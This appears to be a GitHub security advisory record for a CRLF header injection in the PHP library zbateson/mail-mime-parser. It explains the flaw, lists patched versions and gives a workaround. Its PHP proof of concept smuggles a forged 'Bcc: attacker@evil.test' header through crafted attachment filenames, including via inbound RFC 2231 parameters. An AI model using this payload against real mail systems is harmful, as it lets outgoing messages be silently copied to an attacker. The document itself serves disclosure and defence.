{"id":"GHSA-36h5-qg4p-q2qf","summary":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","details":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.\n\nThe decode side is affected as well, which is what makes purely inbound exploitation possible:\n\n- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so\n  a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\\r\\n`.\n- The RFC 2047 path (`MimeToken`) strips `\\r`/`\\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which\n  can reintroduce CR/LF into the decoded value.\n\nAs a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n\u003c?php\nrequire 'vendor/autoload.php';\nuse ZBateson\\MailMimeParser\\MailMimeParser;\nuse ZBateson\\MailMimeParser\\Message;\n\n$parser = new MailMimeParser();\n\nfunction attachAndReport(string $filename): void {\n    $out = Message::from(\"From: me@host\\r\\nContent-Type: text/plain\\r\\n\\r\\nhi\\r\\n\", false);\n    $out-\u003eaddAttachmentPart('payload', 'application/octet-stream', $filename);\n    echo (strpos($out-\u003e__toString(), \"\\r\\nBcc: attacker@evil.test\") !== false)\n        ? \"INJECTED\\n\" : \"clean\\n\";\n}\n\nattachAndReport('invoice.pdf');                    // =\u003e clean\nattachAndReport(\"doc\\r\\nBcc: attacker@evil.test\"); // =\u003e INJECTED\n\n// The CRLF reaches getFilename() straight from parsed mail via an\n// RFC 2231 filename*= parameter, so no local construction is needed:\n$inbound = \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n    . \"--b\\r\\nContent-Type: application/octet-stream\\r\\n\"\n    . \"Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\\r\\n\\r\\n\"\n    . base64_encode('data') . \"\\r\\n--b--\\r\\n\";\n$fn = $parser-\u003eparse($inbound, false)-\u003egetAllAttachmentParts()[0]-\u003egetFilename();\nvar_dump($fn);        // =\u003e string(28) \"doc\\r\\nBcc: attacker@evil.test\"\nattachAndReport($fn); // =\u003e INJECTED\n```\n\n### Patches\n\nFixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.\n\nVersions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.\n\n### Workarounds\n\nIf upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\\r\\n]+/', ' ', $filename).\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.","aliases":["CVE-2026-61815"],"modified":"2026-09-24T20:00:06.653703024Z","published":"2026-09-24T19:46:32Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-24T19:46:32Z","nvd_published_at":"2026-09-24T18:17:17Z","cwe_ids":["CWE-93"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61815"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1"},{"type":"PACKAGE","url":"https://github.com/zbateson/mail-mime-parser"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"}],"affected":[{"package":{"name":"zbateson/mail-mime-parser","ecosystem":"Packagist","purl":"pkg:composer/zbateson/mail-mime-parser"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.6"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.3","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","1.0-alpha","1.0-alpha.2","1.0-beta","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","2.0.0","2.0.0-beta","2.0.0-beta.1","2.0.1","2.1.0","2.1.1","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.4.0","2.4.1","3.0.0","3.0.0-beta","3.0.0-beta.2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-36h5-qg4p-q2qf/GHSA-36h5-qg4p-q2qf.json"}},{"package":{"name":"zbateson/mail-mime-parser","ecosystem":"Packagist","purl":"pkg:composer/zbateson/mail-mime-parser"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.0.2"}]}],"versions":["4.0.0","4.0.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-36h5-qg4p-q2qf/GHSA-36h5-qg4p-q2qf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}